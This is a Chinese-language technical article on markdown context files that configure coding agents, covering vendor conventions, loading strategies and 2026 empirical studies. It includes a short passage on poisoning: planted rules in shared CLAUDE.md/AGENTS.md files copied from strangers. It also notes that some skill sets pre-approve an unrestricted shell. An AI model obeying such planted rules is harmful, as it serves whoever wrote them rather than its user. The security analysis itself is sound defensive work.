資料來源#
- A Field Guide to Fable: Finding Your Unknowns
- Agent swarms and the new model economics
- An open-source spec for Codex orchestration: Symphony.
- Attackers Target Agents via The Skill Supply Chain
- Codex from 0 to 10M Users: Building ChatGPT Work - Akshay Nathan, OpenAI
- Detecting and countering misuse of AI: September 2026
- Do Context Files Help Coding Agents? A Two-Agent Ablation Study on Real Repositories
- Documented AI Agent Incidents
- Enable on-demand expertise with Agent Skills in Genkit Go
- EVOMAL: Self-Poisoning in Self-Evolving Coding Agents
- Fable's judgement
- From Agent Behaviour to Agent-Friendly Documentation
- From Registry to Repository: How AI Agent Skills Are Written, Adapted, and Maintained
- Harness engineering: leveraging Codex in an agent-first world
- How the Open Knowledge Format can improve data sharing
- Mind Viruses: Self-Propagating Ideas in Multi-Agent LLM Systems
- Muscle Memory for Agents: Compile not Merely Retrieve
- Prompt Design at Scale: How Format, Instruction Count, and Context Length Shape Instruction Adherence and Hallucination in Large Language Models
- Scanning the Harness: An Empirical Study of Supply-Chain Defects in AI Coding-Agent Configurations
- Security Incident INC-2026-07-28-01
- The new rules of context engineering for Claude 5 models
- The Week of Sandbox Escapes
- Tips & Best Practices
- Tutorial: Team Telegram Assistant
- User awareness in frontier models
- When Review Alone No Longer Scales: Layered Supervision in AI-Assisted Software Engineering
- Who Maintains Agent Skills? A Longitudinal Study of Human-Governed, AI-Assisted Skill Maintenance
摘要#
在 2026 年各大代理程式生態系中,代理程式行為的設定方式都相同:以儲存庫版本控管的純文字 Markdown 檔案,會在工作階段開始時讀入系統提示(或渲染至提示範本)。CLAUDE.md、AGENTS.md、SOUL.md、WORKFLOW.md、SPEC.md 和 .cursorrules 是同一種基本構造,只是名稱不同。這種趨同已強到足以讓它看起來像一項新興標準:代理程式的行為契約是有版本、可檢視、供人與機器閱讀的文件,不是程式碼、資料庫或聊天紀錄。
本文將此模式正式化,並比較各廠商如何劃分角色。它是分層控制平面堆疊中的「政策平面」——情境檔案規範代理程式在工作範圍內「如何」行動,有別於工單層(「執行什麼」)及迴圈/daemon 層(「執行」)。
模式#
情境檔案是純文字,並同時具備以下四項特性:
- 有版本——位於儲存庫(或 dotfile 家目錄),由 git 追蹤,像程式碼一樣審查。
- 可檢視——人能閱讀它,並清楚知道代理程式的設定方式。
- 確定性載入——每個工作階段自動注入(頂層),或按需延遲載入(子目錄),讓行為可重現。
- 雙重讀者——同時寫給代理程式(作為指示)與人(記錄先前無人寫下的隱性流程)。
正是這四項特性賦予情境檔案權威性——但它們描述的是檔案的「格式」,而非「來源」,兩者之間的落差就是安全攻擊面。分享代理程式設定是常見做法:整理好的 CLAUDE.md/AGENTS.md 檔案和規則片段會在公開儲存庫流傳,而貼上這類內容的使用者會採納其中每一條指示。「有版本且可檢視」不代表「有讀過」;自動載入的根目錄檔案,同時是代理程式情境中權限最高的位置,也是最可能整份複製自陌生人的檔案。Bad Memory 衡量植入該位置的規則對 Claude Code 和 Codex 的影響——數據請見該文。
此模式最深層的有效原因就在最後一項:情境檔案捕捉了「人們遵循、卻從未記錄下來的流程」。Symphony 的說法——「處理一個議題、簽出儲存庫、標記進行中、加入 PR、移至 Review、附上影片——如今都記錄在一份簡單的 WORKFLOW.md 中」——是prompt-as-policy的典型表述。編輯檔案,下次渲染時行為就會改變;不需要修改程式碼。
各廠商的角色劃分#
這些檔案可分為四種角色——專案情境、個性、工作流程/程序及產品規格——但沒有任何一家廠商將四者各自獨立成檔。
| 角色 | Claude Code | Hermes (Hermes Agent) | Codex / Symphony |
|---|---|---|---|
| 專案情境 | CLAUDE.md | AGENTS.md(cwd) | AGENTS.md |
| 個性/語氣 | (隱含於 CLAUDE.md) | SOUL.md(全域,~/.hermes/) | — |
| 工作流程/程序 | hooks + CLAUDE.md 規則 | — | WORKFLOW.md(每個團隊的提示範本,YAML front matter) |
| 產品規格 | — | — | SPEC.md(定義 orchestrator 本身) |
| 編輯器相容性 | — | .cursorrules / .cursor/rules/*.mdc | — |
| 記憶(相關,但非政策) | 對話 + CLAUDE.md | 有界的 MEMORY.md(約 2,200 個字元)+ USER.md(約 1,375 個字元) | 由檔案系統驅動 |
重點觀察:
- Hermes 的劃分最明確:
AGENTS.md(專案)與SOUL.md(全域個性)。Claude Code 將兩者合併在一份CLAUDE.md;實務上個性與專案的區分隱含存在,卻從未分成獨立檔案。這種拆分值得借鏡——穩定的語氣可跨專案延續,同時專案情境仍保留在各自儲存庫中。 - Symphony 在工作階段之上新增兩個層級:
WORKFLOW.md(編排階段的流程,在使用者的儲存庫中受版本控管,解析為執行階段設定及 Liquid 提示範本本文)與SPEC.md(產品定義——開啟 Symphony 儲存庫時,首先看到的是規格,而非原始碼)。這些情境檔案位於「編排」層,而非「工作階段」層。 .cursorrules是相容性介面——Hermes 會從 cwd 自動載入,讓使用者不必重複既有的 Cursor 設定。
載入紀律:依預算注入#
情境檔案會競爭情境視窗容量,因此載入方式逐漸分級:
- 頂層、積極載入:根目錄的
CLAUDE.md/AGENTS.md每個工作階段都注入系統提示。 - 子目錄、延遲載入:Hermes 在工具呼叫期間探索巢狀的
AGENTS.md檔案(subdirectory_hints.py),並只在相關時將其注入工具結果——代理程式實際處理該目錄時才付出 token 成本。這就是「AGENTS.md-as-table-of-contents」紀律:頂層檔案提供地圖,巢狀情境按需擷取。 - 快取穩定:在工作階段期間保持情境檔案不變,可保留系統提示前綴快取。Hermes 明確提醒不要在工作階段中途更改情境檔案或模型,原因就在此。
由此也推得精簡的紀律:CLAUDE.md 應只包含代理程式「無法從程式碼推知」的內容。模型愈進步,檔案就愈精簡——參見模型進步時的 Harness 精簡。過度詳盡的情境檔案是已知失敗模式(將確定性規則改成 hooks;刪除模型已能正確執行的內容)。
本文所述的兩項慣例,實測結果(Eliav,2026 年 7 月)#
以上每種檔案都是 Markdown,並注入系統提示。語料中的研究都未測試這兩項慣例。Eliav 2026(arXiv 2607.19257,empirical,五種模型)直接測試兩者:將內容相同的指示區塊分別渲染為 Markdown、純文字、散文和表格,再放入其中一個提示位置。
- Markdown 沒帶來好處,卻多花 26%。 沒有模型呈現可靠的 Markdown 相對純文字優勢;四種模型的差異都在 2.1 個百分點內,且會隨指示數量改變而反轉方向;其中一種開放權重模型(Qwen 35B)則穩定偏好純文字,在 N=160 時差距擴大至 4.8 個百分點。相較於相同內容的純文字,Markdown 實測 token 開銷為 1.258×(散文 1.221×,表格 1.367×)。對每個工作階段、每次呼叫都注入並付費的檔案而言,這表示在積極載入的頂層位置持續多付 26% 成本,卻沒有測得任何回報。完整分析見依規模而變的提示敏感度。
- 系統提示位置也不是免費的,而且效果方向因模型而異。 對五種模型中的四種而言,位置對遵循指示的影響大於格式:放在使用者回合讓兩種模型改善、兩種變差,對第五種則毫無影響。因此,「情境檔案放進系統提示」這項通行慣例,是未經測試的預設做法,且對某些模型實際上有害——與格式不同,這只需一行實驗就能驗證。
- 精簡義務有個明確數字,卻用錯了單位。 Instruction Compounding記錄了容量下限:所有模型、所有格式中,只要同時有約 80 條以上可驗證指示,遵守全部規則的比率就會崩跌至零。限制因素的單位是指示數量,而非 token——這對本文所有預算機制都是問題,因為 Hermes 約 2,200 字元的
MEMORY.md、Cursor 的 Field Guide 行數上限,以及claude doctor的大小調整,量測的都是長度。行數上限算是合理的替代指標,而強制淘汰機制仍讓它成為此處最佳機制;但它量測的不是實際限制因素。 - 子目錄延遲注入另有獨立理由。 上方的載入紀律一節,純粹從 token 預算角度說明 Hermes 在工具呼叫時載入巢狀
AGENTS.md的模式。指示數量上限則是另一個偏好它的理由:延遲載入實際減少的是「同一次生成中同時適用的指示數」,而這才是會觸及下限的數量。AGENTS.md-as-table-of-contents 原本就是正確的形式;現在又多了一個不同的論據。
此處的適用範圍限制比本文其他部分更重要:實驗中的每條指示都只適用於單次生成,且能以精確字串比對驗證。真實情境檔案大多是條件式政策,每一回合通常只有少數規則適用;論文也明確表示,這些數據不一定適用於無法以機械方式驗證的指示。
檔案真的有幫助嗎?正確性上的有限零效果(Khatri,2026 年 7 月)#
以上內容都在討論情境檔案該「如何」撰寫和注入。Khatri 2026(arXiv 2607.27250,2026-07-28,empirical)探問注入策略是否會改變結果,發現不會——這是語料中第一項受控的雙代理程式消融研究。
研究設計。 三種策略——NONE(移除檔案)、ALWAYS ON(每回合都將完整 AGENTS.md 放入系統提示)、SELECTIVE(將內容按主題拆分成 wiki 檔案,由代理程式按需讀取,並以系統提示提示它)——搭配兩種前沿代理程式(Claude Code 搭配 claude-sonnet-4-6;Codex CLI 搭配 gpt-5.5),使用 3 個 Python 儲存庫中 17 項已合併 PR 的真實任務,每項重複 3 次:291 次執行、288 個以黃金測試評估的資料格,採用 SWE-bench Tier-C protocol(將 PR 自身測試作為隱藏驗證器,在封鎖對外連線的 pod 中執行,並修剪 git 歷史,讓代理程式無法讀取標準解答)。三個儲存庫是依 AGENTS.md 品質挑選,依結構化評分規準評為 Good/Excellent,長度介於 248 至 1,236 個詞。
結果。 通過率持平:Claude 為 53.3/55.6/55.6%(NONE/ALWAYS ON/SELECTIVE),Codex 為 58.8/56.9/52.9%;整體置換檢定 p = 1.00 與 0.66。在 TOST 下,成對差異上限為 <10 個百分點(Claude)及 <15 個百分點(Codex)。作者謹慎指出,這是「有限」的零效果,而非有足夠檢定力的等效性主張——n=17 時最小可偵測效果(MDE)大於 30 個百分點;若要偵測 10 個百分點的效果,約需 120–200 項任務。地板/天花板效應的質疑不是被駁回,而是預先排除:在設計確實有變化空間的 4 項 Codex 臨界任務(基準通過率 17–67%)中,NONE 得分 58%,兩種情境組別則各為 42%。
值得保留的機制發現。 對差一點成功的案例進行失敗模式分流後,沒有任何一例是缺少情境檔案可提供的資訊所致:聯集擴張最佳化原本正確完成,後來卻被精度錯誤破壞;需要主動更新 token 時選了反應式重試;代理程式明明「從程式碼就知道」V2/V3 驗證規則,卻仍然接錯線。代理程式敗在實作能力——功能設計、模式選擇、精確接線——而非缺少儲存庫私有知識。 預先註冊的操弄探測也證實這點:在兩種代理程式上,以三種策略重跑最接近情境慣例的兩項差點成功案例(36 個資料格),真實的 AGENTS.md 從未讓差點成功變成通過;而在唯一具有跨代理程式動態範圍的任務中,趨勢甚至相反(Claude 在 NONE 下通過 2/3、ALWAYS ON 下 1/3、SELECTIVE 下 0/3——n=3,報告為非正向,而非有害)。
仍然成立的是流程效果,而非結果——也是唯一可採取行動的發現。 有兩項有限效果成立。Claude 的 SELECTIVE 組使用的快取建立量顯著低於 NONE(11/11 項任務,p<sub>Holm</sub>=0.012);作者從機制上解讀為:提供簡短檢索提示,而不是每回合重新呈現整份檔案。至於 opshin——唯一檔案明確標註執行環境警告(「完整測試套件需要超過 20 分鐘」)的儲存庫——Claude 的實際耗時下降約 24%,並呈現依劑量而變的機制:盲目執行完整 pytest 的次數,從 NONE → ALWAYS ON → SELECTIVE 單調下降:3.67 → 2.44 → 1.67。沒有這項警告,代理程式會反覆執行緩慢的完整測試套件;有了警告,它就改跑目標測試。這是探索性結果,n=5、單一儲存庫、僅限 Claude(firebase 的方向正好相反)——但它清楚說明情境檔案確實能帶來什麼:改變代理程式的工作方式,而非成功與否。
為何先前文獻結論不同。 本文原先的立場是情境檔案顯然有幫助,爭議只在如何提供。2026 年有兩項研究其實對前提持不同意見——Lulla 等人(arXiv 2601.20404,Codex 系列)報告效率提升;Gloaguen 等人(arXiv 2602.11988,Claude 系列)則發現完成率沒有變化。Khatri 提出的可能調和方式是方法論上的,且可推廣到本文之外:臨界區間因代理程式而異。 在 15 項共同任務中,每項任務通過率的相關係數為 ρ=0.75——難度可以轉移,但「有資訊量」的區間不會。15 項中有 6 項只對其中一種代理程式而言屬於臨界任務;約 40% 的任務中,可能揭露效果的代理程式並非受測的代理程式。因此,任何單一代理程式的消融研究,都是從該代理程式的資訊區間挑選任務,再把結論外推出去。(另一個可輕易沿用的可移植性教訓:研究的工作量分類器依回合數區分,結果悄悄把 每一項 Codex 任務都標為簡單,因為 Codex 不論實際做了多少事,每個工作階段都恰好輸出一個 turn.completed 事件。重新分類前,八項真正高工作量的任務都被剔除;改用工具呼叫數分類後才找回來——以回合為基礎的指標無法跨代理程式架構通用。)
本文有多少內容受到影響。 比標題暗示的少,而且限制是作者自己指出的。研究只有三個 Python 儲存庫;情境是自然形成的風格指南,不是為任務量身打造的事實;ALWAYS ON 每回合都透過系統提示注入,強度高於自然工作流程,因此「自然探索不可能勝過保證存在」是推論而非測量;SELECTIVE 的語料只有一個儲存庫與 AGENTS.md 內容相符(另外兩個是大 10 倍/18 倍的自動產生 wiki——這讓正確性零效果更有力,卻使快取歸因更難解讀);所有結果也都固定在兩個模型版本上。本文應保留的主張範圍很窄:對代理程式本來就能讀取的儲存庫而言,一般性的慣例與風格情境帶來的正確性回報有限且接近零;現有回報則體現在成本和延遲。 情境若是代理程式「確實無法推知」的內容是否有幫助,尚未測試,而且顯然是下一項實驗方向。
另一組由廠商以自家目錄執行的實驗(NVIDIA,2026 年 8 月)#
Khatri 的零效果研究最後提出了自己未執行的區辨實驗:如果情境是代理程式
確實無法推知的內容,一般慣例情境沒有影響時,它是否會改變正確性?
NVIDIA SkillEvaluator(Evaluating AI Agent Skill Performance with NVIDIA SkillEvaluator,
2026-08-20,vendor-claim)就是這組實驗——同樣比較有無情境,但使用特定任務的專有產品知識,而非自然形成的風格指南——結果方向相反,效果幅度也很大:在兩種 harness(Claude Code +34 全面向;
Codex +29)上,針對 30 多項 NVIDIA 產品、300 多種經驗證技能取宏觀平均後,正確性增加 41 個百分點,效能增加 39 個百分點。
為何這還不能定論。 評估集是根據受測技能生成的(skillevaluator create-eval-dataset./my-skill),因此該產物同時決定了任務分布和預期輸出;無技能組接受的考試,也是從另一組的答案推導而來。此外,研究沒有信賴區間,85% 的技能只跑單次嘗試,評分模型未具名,而且 NVIDIA 評分的是 NVIDIA 自己的目錄。Khatri 的設計具備此研究所欠缺的特性——已合併 PR 的任務、隱藏的黃金測試驗證器、封鎖對外連線的 pod、預先註冊的探測——並得出一個謹慎稱為「有限」的零效果。兩者不能直接比較;誠實的說法是:不可推知情境組如今有一項方向符合預測的結果,但其方法無法排除技能自行命題並設計考題的可能性。
一項真正跨來源的矛盾,值得保留,不該取平均。 Khatri 的正確性零效果中唯一留下的影響在於成本——SELECTIVE 下快取建立量顯著下降,檔案中的執行環境警告也依劑量使實際耗時下降約 24%。SkillEvaluator 的 token 統計顯示,這項效果的方向不一定相同:jetson-optimize-memory 將 token 數從 617,306 降至 142,540(−76.9%),實際耗時下降 −53.7%;但 cuopt-install 卻讓 token 數從 25,227 升至 55,582(+120.3%),實際耗時增加 +20.8%。兩項測量都很弱(Khatri:探索性、n=5、單一儲存庫、單一代理程式;NVIDIA:兩個單次嘗試案例),因此調和方式不是判定其中一方有誤,而是承認沒有人以足夠檢定力測量過情境產物的 token 成本,因而無法判定效果方向,而嘗試過的兩項研究得出了相反方向。
NVIDIA 增添了本文原本沒有工具測量的項目:目錄層級的擁擠程度,並將它作為一項實測特性。 其流程的第二層會在整個目錄中計算嵌入相似度,找出覆蓋範圍重疊的技能;其理由是:「環境中的每種技能都會競爭代理程式的注意力,而在不相關時載入的技能可能降低代理程式效能」——而且可發現性評分有一部分取決於技能能否在不相關任務中正確地「維持未載入」。本文第五個開放問題因此成了這家提供 300 多種技能的廠商所認定的真實失敗模式,但它仍未提供該問題所要求的曲線。
架構上的質疑:擷取到的技能仍由通才執行(2026 年 8 月)#
Khatri 測得零效果,並將原因診斷為實作能力,而非知識缺漏。Muscle Memory for Agents(Omran、Lanka、Zhang 與 Dixit,Google Cloud FDE,arXiv 2608.08995,2026-08-10,empirical)提出了不同機制;在本文中也很罕見地主張整個提供層的形式都不對。它直接點出本文所述模式:「Claude Code 和 Cursor 等程式碼助理允許使用者定義可重用的『技能』或『規則』,在觸發時注入 orchestrator 的情境」,並用一句話表明質疑:
「它們有一項關鍵限制:擷取到的技能仍由 orchestrator LLM 本身執行。Orchestrator 會收到技能指示或程式碼範本,並必須將其融入自己的推理和生成流程。這表示技能品質受限於 orchestrator 忠實遵循指示的能力;當格式限制、領域專業知識和品質要求在複雜的多步驟任務中互相作用時,這尤其困難。」
他們的替代方案,是將反覆出現的意圖編譯成獨立專家,由它以自身內建提示發出自己的 LLM 呼叫——「它不受主 orchestrator 迄今累積情境的影響:每次呼叫都從自己的提示開始,而非承接 orchestrator 的偏移」——讓 orchestrator 只負責觸發比對和委派。這項主張關乎本文整套機制的上限:以上所有內容(依預算注入、漸進揭露、目錄式紀律、符合觸發條件的描述)都在最佳化通才情境中收到的內容,但沒有一項改變了由誰執行。
證據實際支持的範圍比論點更窄。 實測的優勢在於偏好對齊,而非正確性:36 次觸發中,個人化在 1–4 分量表上提升 2.05 分,但準確度代價為 −0.28,而且呈雙峰分布,並非人人都受影響(五位使用者中有一人整整損失一分)。論文中沒有任何組別將編譯後的專家與以技能或情境檔案提供的相同指示相比——基準組是完全沒有記憶工具的同一個助理——因此 P2(「專家優於通才」)只是主張,實際測量的是專家與什麼都沒有的比較。這兩項來源可以互相補充,但都沒有定論:Khatri 證實 orchestrator 情境中的一般慣例文字幾乎沒有正確性回報;本文則主張原因在執行者,而非文字;至今沒有人執行能區分兩者的實驗。顯而易見的實驗正是兩篇論文都略過的那一項——相同指示分別以 orchestrator 讀取的技能,以及由專家自行負責呼叫的方式提供。
有一項設計細節不論架構如何都值得沿用,因為它關乎「如何將行為寫下來」這種失敗模式。流程將任務模式(使用者想做什麼)和行為模式(使用者如何溝通)分開,將後者放在一份共用的 user_style.json,套用到每位專家;研究指出,將兩者合併會「產生根據溝通風格線索觸發、而非依據實際任務意圖觸發的代理程式,導致高誤報率」。這就是上面的觸發描述紀律之一般化版本:在啟用契約中陳述風格偏好,就會把它變成啟用條件。配套的依任務調整風格的弱化機制則提供了靜態指示檔無法表達的逃生口——相符的專家偵測到複雜任務時,會覆蓋自身衝突的格式限制,讓「簡短、一次一個概念」的偏好不至於將財務計畫切散到多個回合中。
這項質疑的界限,實測結果(2026 年 9 月)。 Omran 等人指出上限,卻沒有量化。Lin 等人(arXiv 2605.30621,empirical)以決定性驗證器評估演化技能,進行了量測;結果在兩個方面都比質疑暗示的更糟。第一,這個界限幅度大,並因模型等級而異:被判定有遵循所載入技能的技能載入軌跡比例,Qwen3-32B 為 0.142、GPT-OSS-120B 為 0.442、Opus 4.6 為 0.757——因此「受限於 orchestrator 忠實遵循指示的能力」在較弱端幾乎等於零。第二,也是本文任何來源都未預期的部分,界限會在單一軌跡內移動:對同一個弱階模型而言,同一個載入產物的逐階段遵循率,從載入時的 0.52 降至回合中段的 0.22,再降至最後回合的 0.13;強模型則是 0.89 → 0.79 → 0.80。弱模型不是誤讀檔案;它一開始的遵循率高於隨機水準,卻在執行過程中逐漸偏離。這正是下文 METR 的 CLAUDE.md 已撰寫卻未被遵循事件,只不過現在呈現為曲線而非軼事;也使該處對工作階段中途編輯的觀察成為一般特性:重新注入的規則必須與已經偏離該規則的軌跡競爭。兩組數值皆來自 Claude-Sonnet-4.6-judge 輸出,沒有一致性統計,僅涵蓋 SkillsBench,且使用 Claude 5 之前的模型組合——趨勢排序比任何單一數值更可信。完整分析見Harness 啟用與遵循。
Claude 5 對規則的改寫(2026 年 7 月)#
Thariq Shihipar 的情境工程文章(2026 年 7 月,practitioner-opinion)重申 Claude 5 級模型的 CLAUDE.md 紀律,並明確將多項先前的最佳實務列為迷思,予以淘汰:
- CLAUDE.md 內容規則:保持精簡——簡述儲存庫用途,接著「將大多數 token 花在程式碼中的陷阱上」(例如型別都放在一個大型單體檔案)。「避免寫出 Claude 只要查看檔案系統或儲存庫就應該知道的『顯而易見』事項」——也就是上文所述刪除可推知內容的紀律,如今得到廠商背書。
- 淘汰中央資料庫迷思:CLAUDE.md/SKILL.md 應成為「所有已知實務的中央資料庫……否則 Claude 就找不到」這種想法被列為迷思;取而代之的是在正確時機載入的檔案樹——獨特的驗證指示應成為驗證技能,並由 CLAUDE.md 參照。這是將 AGENTS.md-as-table-of-contents 紀律推廣到技能。
- 技能作為輕量指南:「避免對技能設下過多限制,除非涉及高度重要的領域」;長篇技能也應自行拆分,採用漸進揭露。技能最適合編碼你、你的團隊或產品特有的觀點/知識,而非模型已經掌握的一般實務。
用(已由 auto-memory 於 2026-07-25 取代):Claude Code 現在會自動儲存相關記憶;CLAUDE.md 不再承擔記憶功能,範圍收斂為專案政策——記憶、產物和技能各自承接 CLAUDE.md 過去負責內容的一部分。#快速鍵將記憶寫入 CLAUDE.md- 工具:
claude doctor//doctor會自動調整 CLAUDE.md 檔案和技能的大小——將精簡流程做成產品功能。
技能檔案實際上的樣貌(Gao 等人,2026 年 7 月)#
以上是規範性建議;From Registry to Repository: How AI Agent Skills Are Written, Adapted, and Maintained(empirical,18,463 個登錄庫檔案 + 23,199 個儲存庫內的 SKILL.md 檔案)則衡量實務工作者實際交付的內容:
- 結構扁平且精簡。 登錄庫技能的 SKILL.md 中位數為 1,678 個 token/19 個標題;儲存庫本地技能為 1,114 個 token/13 個標題(Mann-Whitney p<0.001)。超過 90% 的檔案使用 H1 和 H2,79.8%/67.9% 使用 H3,更深層標題少見——層級結構比面向人類的 README 更扁平,符合上述漸進揭露指引可能是無心而為、而非刻意遵循的情況。
- 規格的必要條款有遵循,可選條款則形同具文。 SKILL.md 存在、YAML front matter 有效,以及
description型別/長度符合規定,遵循率 ≥99%;但license為 16.1%/9.1%、allowed-tools15.0%/12.5%、metadata13.1%/10.4%、compatibility4.0%/3.2%。使用率最高的可選子目錄是references/(31.0%/17.0%),其次是scripts/,再來是assets/。 - 儲存庫本地技能會偏離啟用契約。 個人使用技能中,只有 91.2% 的
name與上層目錄一致(登錄庫中為 97.7%)——這會造成無聲的啟用故障;論文也指出,front matter 描述是最常重新調整的欄位,正是因為模糊的條件會讓技能無法觸發。「描述要寫觸發條件,而不是摘要」這項建議有實測數據支撐。 - 六種反覆出現的內容主題,見於 180 個檔案的主題分析樣本:範圍界定與啟用(100%)、執行作業生命週期(89%)、以領域知識為依據(85%)、管理代理程式行為(81%)、確保輸出品質(69%)、協調使用者與代理程式(68%)——這些正是預先填好的範本可以涵蓋的基本骨架,也是論文對登錄庫的建議。
同一研究的生命週期發現(逐字複製、增補式維護、從未編輯的行為契約),請見代理程式工作系統化。
參考用戶端未強制執行的規格(Kapner 等人,2026 年 9 月)#
Gao 等人在上文發現,≥99% 的個別 SKILL.md 檔案具有有效的 front matter。Kapner 等人(Red Hat,arXiv 2609.07360,empirical)改以每個儲存庫為單位統計;以這個尺度來看,剩餘問題並不小:2,660 個多元件設定中有 2.3%,以及 511 個已發布技能集合中有 3.5%,至少包含一個完全沒有 front matter 區塊的技能;另有 0.2% 的設定缺少一個 description。兩項數字彼此一致——只要有數十種技能的儲存庫中出現一個裸檔案,就會被計入。
缺少區塊後「會發生什麼」才是值得記錄的部分,因為研究團隊曾因此修正自己的結論。研究工具和論文初版都聲稱這種技能「永遠不會載入」。另一個模型重新閱讀後提出異議,而目前的 Claude Code 文件也證實了這點:所有 front matter 欄位都是選填;名稱預設為目錄名稱,描述預設為內文第一段,而沒有區塊的檔案會以技能文字載入。因此,在 Claude Code 中,檔案仍會載入,並依據臨時生成的描述選取;但若某個用戶端依 Agent Skills 規格驗證——例如官方參考驗證器——它就會被拒絕。作者對格式管理者的解讀是:「參考用戶端不強制執行的有效性規則,是作者不會遵循的規則。」要麼在載入時強制檢查欄位並明確說明,要麼就從規格中刪除這些欄位。
同一份普查中,還有兩項與本文主張相關的鄰近事實:
- 無聲失敗發生在子代理程式,而非技能。 沒有描述的子代理程式檔案(0.8% 的設定)會被 Claude Code 跳過,原因只寫入偵錯日誌——檔案雖然存在,卻從未被委派任務。這正是 Gao 等人歸因於名稱與目錄不一致的「無聲啟用故障」型態,只是這裡發生在有文件記載的元件上。
- 多助理設定很常見,而副本之間的差異大多是刻意的。 17.5% 的設定會配置一種以上的助理(偵測到 Claude Code 出現在 1,887 個儲存庫、Copilot 324 個、Cursor 315 個、Gemini CLI 273 個、Codex CLI 212 個、OpenCode 142 個)。標記不同助理間情境檔案差異的規則,機械式重新檢查後,只有 71 組中的 29 組算是缺陷——其餘多半是刻意設計的助理專屬變體。論文提出的方案是由單一來源提供真相,並讓用戶端遵循
@AGENTS.md匯入,而不是複製內容。
同一研究也指出,Gao 等人發現幾乎沒人使用的欄位——allowed-tools,採用率 15.0%/12.5%——恰好是最攸關安全性的欄位:在 3.7% 的技能集合中,它會預先核准不受限制的 shell,提供給任何安裝技能的人。完整分析見Harness 設定缺陷。
載入執行階段,由第二家供應商推出(Genkit Go,2026 年 7 月)#
以上內容都把 SKILL.md 視為源自 Anthropic、由其他人撰寫的格式。Google 的 Genkit Go 文章(Daniela Petruzalek,2026-07-31,vendor-claim)則補上另一半:Google 已為此格式實作載入執行階段——在 Genkit for TypeScript、Go、Dart 和 Python 中,依據 agentskills.io 規格,而 Google 稱之為開放標準。磁碟上的配置沿用規格,完全不變:SKILL.md(必要中繼資料與指示),以及選用的 scripts/、references/、assets/。
文章所述的運作方式值得精確說明,因為這套設計很容易被錯誤概括為一組檢索工具:
- 探索是注入,不是工具呼叫。 Genkit 初始化時,中介軟體會掃描已設定的
SkillPaths,尋找SKILL.md檔案,並將其 frontmatter 中繼資料注入系統提示。沒有獨立的列舉步驟——從第一個 token 起,目錄就已載入。 - 啟用只靠一個工具。 當請求符合某項技能的描述時,系統會呼叫
use_skill,並將完整的SKILL.md內文及存取隨附 scripts 和 references 的能力載入目前的上下文。 - 第三層完全不需要工具。 內文指向 references 和 scripts 後,代理程式會透過一般檔案存取讀取它們:「使用
references/資料夾,讓SKILL.md保持精簡。代理程式可以依需求讀取這些檔案。」 - 這是中介軟體,不是重寫框架。 Skills 沿用 Genkit 既有的 hook 管線(
WrapModel/WrapTool/WrapGenerate),並以ai.WithUse(&middleware.Skills{SkillPaths:...})在每次呼叫時註冊。以攔截器包住未修改的生成迴圈,實作漸進式揭露,是推出這項功能最省力的方式,也可能解釋了為何它能同時進入四種語言的 SDK。
這能證明什麼,又不能證明什麼。 這確實證明 SKILL.md 正逐漸成為跨供應商慣例,而不再只是某家公司的檔案格式——本頁開頭提出的趨同論點,先前是從撰寫慣例(CLAUDE.md / AGENTS.md / .cursorrules 是同一種原語,只是名稱不同)推論而來,如今執行階段也支持此論點:第二家供應商的 SDK 原樣採用另一家供應商的規格。但這並未證明漸進式揭露有任何好處。文章沒有提供節省 token 的數字、遵循度數字,也沒有與預先載入所有技能的方式比較。「Token 效率」是文章提出的三項優勢中的第一項;文中唯一讀起來像結果的句子——「透過漸進式揭露,token 消耗會延後到絕對必要時才發生」——其實是 Gemini 生成的示意圖說明文字,不是測量結果。兩個實作範例(一個食譜 CLI、一個會在 paintings 技能與 drawings / photography 之間做選擇的多模態藝術修復流程)各自只展示一次輸入觸發技能,作者也指出「可能得試幾次」。
以下三點較小的觀察,與前文各節相關:
- 啟用由誰決定,文章有兩種說法。 架構段落說「中介軟體會監控傳入提示,偵測符合的描述並動態啟用技能」;運作方式和最佳實務段落則說模型會呼叫
use_skill,而描述需要使用「清楚、祈使的語言,讓模型知道何時該呼叫use_skill」。文章其餘內容支持由模型決定的解讀,但兩種說法始終未獲調和——而這個差異很重要,因為由模型呼叫的工具會讓啟用成為工具選擇問題,承受工具選擇的可靠性限制;若是中介軟體比對,則會成為檢索問題。 - 把描述寫成觸發條件的建議,是獨立提出的。 Google 首要的最佳實務,是用祈使語氣把 frontmatter 描述寫成觸發條件。上文 Gao 等人發現,在實際使用中,
description是最常被重新調整的 frontmatter 欄位,正是因為條件模糊會讓技能無法觸發。不同供應商以不同方法提出的規範與測量結果,彼此吻合。 - 供應商範例保留了實務者常省略的欄位。 Google 的範例 frontmatter 包含
license和metadata區塊(author、version)——這兩項選用欄位在 Gao 等人的實際資料中,採用率分別是 16.1%/9.1% 與 13.1%/10.4%。這不代表它們的採用情況如何;只是提醒我們,這些符合規範的比例是以實務者檔案為測量對象,而非供應商文件。
兩份來源都未提出的連結。 Google 明確提出的理由是 token 預算:把每套程序和參考資料都載入持續存在的上下文視窗,會「消耗寶貴的 token、稀釋模型的注意力,並提高回應錯誤的可能性」。但測得的限制因素是同時存在的指示數量,而非 token 數量——Instruction Compounding 記錄指出,在所有五個受測模型、每種格式和兩種放置位置中,約 80 條可驗證指示就會讓所有規則的遵循率降至零。漸進式揭露直接從架構上回應了這個限制:任一代生成期間生效的指示只來自單一技能內文,而不是所有已安裝技能的總和。這與上方 lazy-subdirectory 條目對巢狀 AGENTS.md 的論點相同,只是如今作為 SDK 的一級原語推出,而非靠載入規範來實踐。
這是個部分解法,而它的不完整之處正是有趣所在。每個已安裝技能的描述都會在初始化時出現在系統提示中,所以此設計把指示數量從所有指示降到所有描述加上一份內文——它把上限移到技能目錄的大小,而不是消除上限。沒有人測量這個新上限落在哪裡。
知識層上的同一作法,角色對調(Open Knowledge Format,2026 年 6 月)#
Genkit 是第二家供應商實作另一家供應商的 markdown 慣例。Open Knowledge Format(McVeety 與 Hormati,Google Cloud Data Cloud,2026-06-12,vendor-claim)則是同一家公司撰寫另一種慣例,服務的正是本頁刻意不涵蓋的層面:不是代理程式遵循的政策,而是它查詢的知識。它對現況的診斷,正是把本頁的趨同論點改寫成一種批評——AGENTS.md / CLAUDE.md 這一類模式名列其中,被指「以不同名稱反覆出現」;問題在於「它們都不是為了彼此協作而刻意設計。對於每份文件應包含哪些欄位,或各種檔名代表什麼,沒有共識。」
